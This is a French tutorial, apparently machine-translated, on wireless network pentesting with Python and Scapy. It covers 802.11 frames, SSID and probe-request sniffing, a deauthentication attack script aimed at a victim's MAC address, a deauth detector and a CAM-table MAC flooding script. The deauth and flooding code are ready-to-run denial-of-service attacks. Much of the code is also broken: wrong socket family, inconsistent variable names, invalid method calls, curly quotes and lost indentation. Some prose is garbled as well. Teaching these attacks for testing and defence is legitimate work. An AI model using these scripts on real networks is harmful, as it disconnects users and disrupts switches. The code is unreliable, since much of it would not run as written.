Pentesting du réseau sans fil

Les systèmes sans fil offrent beaucoup de flexibilité, mais d'un autre côté, cela entraîne également de graves problèmes de sécurité. Et comment cela devient-il un problème de sécurité sérieux - parce que les attaquants, en cas de connectivité sans fil, ont juste besoin d'avoir la disponibilité du signal pour attaquer plutôt que d'avoir un accès physique comme dans le cas d'un réseau filaire. Le test de pénétration des systèmes sans fil est une tâche plus facile que de le faire sur le réseau filaire. Nous ne pouvons pas vraiment appliquer de bonnes mesures de sécurité physique contre un support sans fil, si nous sommes situés suffisamment près, nous pourrions "entendre" (ou du moins votre adaptateur sans fil est capable d'entendre) tout ce qui circule dans l'air.

Conditions préalables

Avant de commencer à en apprendre davantage sur le pentesting du réseau sans fil, examinons les terminologies et le processus de communication entre le client et le système sans fil.

Terminologies importantes

Apprenons maintenant les terminologies importantes liées au pentesting de réseau sans fil.

Point d'accès (AP)

Un point d'accès (AP) est le nœud central des implémentations sans fil 802.11. Ce point est utilisé pour connecter les utilisateurs à d'autres utilisateurs au sein du réseau et peut également servir de point d'interconnexion entre le LAN sans fil (WLAN) et un réseau filaire fixe. Dans un WLAN, un AP est une station qui transmet et reçoit les données.

Identificateur de l'ensemble de services (SSID)

Il s'agit d'une chaîne de texte lisible par l'homme de 0 à 32 octets, qui est essentiellement le nom attribué à un réseau sans fil. Tous les appareils du réseau doivent utiliser ce nom sensible à la casse pour communiquer sur le réseau sans fil (Wi-Fi).

Identification de l'ensemble de services de base (BSSID)

Il s'agit de l'adresse MAC du chipset Wi-Fi fonctionnant sur un point d'accès sans fil (AP). Il est généré aléatoirement.

Le numéro de canal

Il représente la plage de fréquences radio utilisée par Access Point (AP) pour la transmission.

Communication entre le client et le système sans fil

Une autre chose importante que nous devons comprendre est le processus de communication entre le client et le système sans fil. À l'aide du diagramme suivant, nous pouvons comprendre la même chose -

Le cadre Beacon

Dans le processus de communication entre le client et le point d'accès, l'AP envoie périodiquement une trame de balise pour montrer sa présence. Cette trame contient des informations relatives au SSID, au BSSID et au numéro de canal.

La demande de sonde

Maintenant, le périphérique client enverra une demande de sonde pour vérifier les points d'accès à portée. Après avoir envoyé la demande de sonde, il attendra la réponse de sonde d'AP. La demande de sonde contient des informations telles que le SSID de l'AP, des informations spécifiques au fournisseur, etc.

La réponse de la sonde

Maintenant, après avoir reçu la demande de sonde, AP enverra une réponse de sonde, qui contient des informations telles que le débit de données pris en charge, la capacité, etc.

La demande d'authentification

Maintenant, le périphérique client enverra une trame de demande d'authentification contenant son identité.

La réponse d'authentification

Maintenant, en réponse, l'AP enverra une trame de réponse d'authentification indiquant l'acceptation ou le rejet.

La demande de l'Association

Lorsque l'authentification est réussie, le périphérique client a envoyé une trame de demande d'association contenant le débit de données pris en charge et le SSID d'AP.

La réponse de l'Association

Maintenant, en réponse, l'AP enverra une trame de réponse d'association indiquant l'acceptation ou le rejet. Un identifiant d'association de l'appareil client sera créé en cas d'acceptation.

Recherche d'identifiant d'ensemble de services sans fil (SSID) à l'aide de Python

Nous pouvons rassembler les informations sur le SSID à l'aide de la méthode raw socket ainsi qu'en utilisant la bibliothèque Scapy.

Méthode de socket brut

Nous avons déjà appris que mon0capture les paquets sans fil; donc, nous devons régler le mode moniteur surmon0. Dans Kali Linux, cela peut être fait avec l'aide deairmon-ngscénario. Après avoir exécuté ce script, il donnera à la carte sans fil un nom, disonswlan1. Maintenant, avec l'aide de la commande suivante, nous devons activer le mode moniteur surmon0 -

airmon-ng start wlan1

Voici la méthode raw socket, script Python, qui nous donnera le SSID de l'AP -

Tout d'abord, nous devons importer les modules de socket comme suit -

import socket

Maintenant, nous allons créer une socket qui aura trois paramètres. Le premier paramètre nous renseigne sur l'interface des paquets (PF_PACKET pour Linux spécifique et AF_INET pour Windows), le second paramètre nous dit s'il s'agit d'une socket brute et le troisième paramètre nous indique que nous sommes intéressés par tous les paquets.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

Maintenant, la ligne suivante liera le mon0 mode et 0x0003.

s.bind(("mon0", 0x0003))

Maintenant, nous devons déclarer une liste vide, qui stockera le SSID des AP.

ap_list = []

Maintenant, nous devons appeler le recvfrom()méthode pour recevoir le paquet. Pour que le reniflement continue, nous utiliserons la boucle while infinie.

while True:
   packet = s.recvfrom(2048)

La ligne de code suivante montre si la trame est de 8 bits indiquant la trame de balise.

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

Renifleur SSID avec Scapy

Scapy est l'une des meilleures bibliothèques qui peut nous permettre de renifler facilement les paquets Wi-Fi. Vous pouvez apprendre Scapy en détail surhttps://scapy.readthedocs.io/en/latest/. Pour commencer, exécutez Sacpy en mode interactif et utilisez la commande conf pour obtenir la valeur de iface. L'interface par défaut est eth0. Maintenant que nous avons le dôme ci-dessus, nous devons changer ce mode en mon0. Cela peut être fait comme suit -

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

Importons maintenant Scapy en tant que bibliothèque. De plus, l'exécution du script Python suivant nous donnera le SSID -

from scapy.all import *

Maintenant, nous devons déclarer une liste vide qui stockera le SSID des points d'accès.

ap_list = []

Nous allons maintenant définir une fonction nommée Packet_info(), qui aura la logique d'analyse complète des paquets. Il aura l'argument pkt.

def Packet_info(pkt) :

Dans la déclaration suivante, nous appliquerons un filtre qui ne passera que Dot11trafic, ce qui signifie trafic 802.11. La ligne qui suit est également un filtre, qui transmet le trafic ayant le type de trame 0 (représente la trame de gestion) et le sous-type de trame est 8 (représente la trame de balise).

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

Maintenant, la fonction sniff reniflera les données avec iface valeur mon0 (pour les paquets sans fil) et appelez le Packet_info fonction.

sniff(iface = "mon0", prn = Packet_info)

Pour implémenter les scripts Python ci-dessus, nous avons besoin d'une carte Wi-Fi capable de renifler l'air en utilisant le mode moniteur.

Détection des clients de point d'accès

Pour détecter les clients des points d'accès, nous devons capturer la trame de demande de sonde. Nous pouvons le faire comme nous l'avons fait dans le script Python pour le sniffer SSID en utilisant Scapy. Nous devons donnerDot11ProbeReqpour capturer le cadre de demande de sonde. Voici le script Python pour détecter les clients des points d'accès -

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

Attaques sans fil

Du point de vue d'un pentester, il est très important de comprendre comment se déroule une attaque sans fil. Dans cette section, nous aborderons deux types d'attaques sans fil -

  • Les attaques de désauthentification (deauth)

  • L'attaque d'inondation MAC

Les attaques de désauthentification (deauth)

Dans le processus de communication entre un périphérique client et un point d'accès chaque fois qu'un client souhaite se déconnecter, il doit envoyer la trame de désauthentification. En réponse à cette trame du client, AP enverra également une trame de désauthentification. Un attaquant peut tirer parti de ce processus normal en usurpant l'adresse MAC de la victime et en envoyant la trame de désauthentification à AP. Pour cette raison, la connexion entre le client et AP est abandonnée. Voici le script Python pour effectuer l'attaque de désauthentification -

Importons d'abord Scapy en tant que bibliothèque -

from scapy.all import *
import sys

Les deux instructions suivantes entreront respectivement l'adresse MAC de l'AP et de la victime.

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

Maintenant, nous devons créer la trame de désauthentification. Il peut être créé en exécutant l'instruction suivante.

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

La ligne de code suivante représente le nombre total de paquets envoyés; ici, il est de 500 et l'intervalle entre deux paquets.

sendp(frame, iface = "mon0", count = 500, inter = .1)

Production

Lors de l'exécution, la commande ci-dessus génère la sortie suivante -

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

Ceci est suivi par la création de la trame de désautorisation, qui est ainsi envoyée au point d'accès au nom du client. Cela rendra la connexion entre eux annulée.

La question ici est de savoir comment détecter l'attaque deauth avec le script Python. L'exécution du script Python suivant aidera à détecter de telles attaques -

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

Dans le script ci-dessus, l'instruction pkt.subtype == 12 indique la trame deauth et la variable I qui est définie globalement indique le nombre de paquets.

Production

L'exécution du script ci-dessus génère la sortie suivante -

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

Les attaques par inondation d'adresses MAC

L'attaque d'inondation d'adresse MAC (attaque d'inondation de table CAM) est un type d'attaque réseau où un attaquant connecté à un port de commutateur inonde l'interface du commutateur avec un très grand nombre de trames Ethernet avec différentes fausses adresses MAC source. Les débordements de table CAM se produisent lorsqu'un afflux d'adresses MAC est inondé dans la table et que le seuil de table CAM est atteint. Cela fait que le commutateur agit comme un concentrateur, inondant le réseau de trafic sur tous les ports. De telles attaques sont très faciles à lancer. Le script Python suivant aide à lancer une telle attaque d'inondation CAM -

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

L'objectif principal de ce type d'attaque est de vérifier la sécurité du commutateur. Nous devons utiliser la sécurité des ports si nous voulons atténuer les effets de l'attaque d'inondation MAC.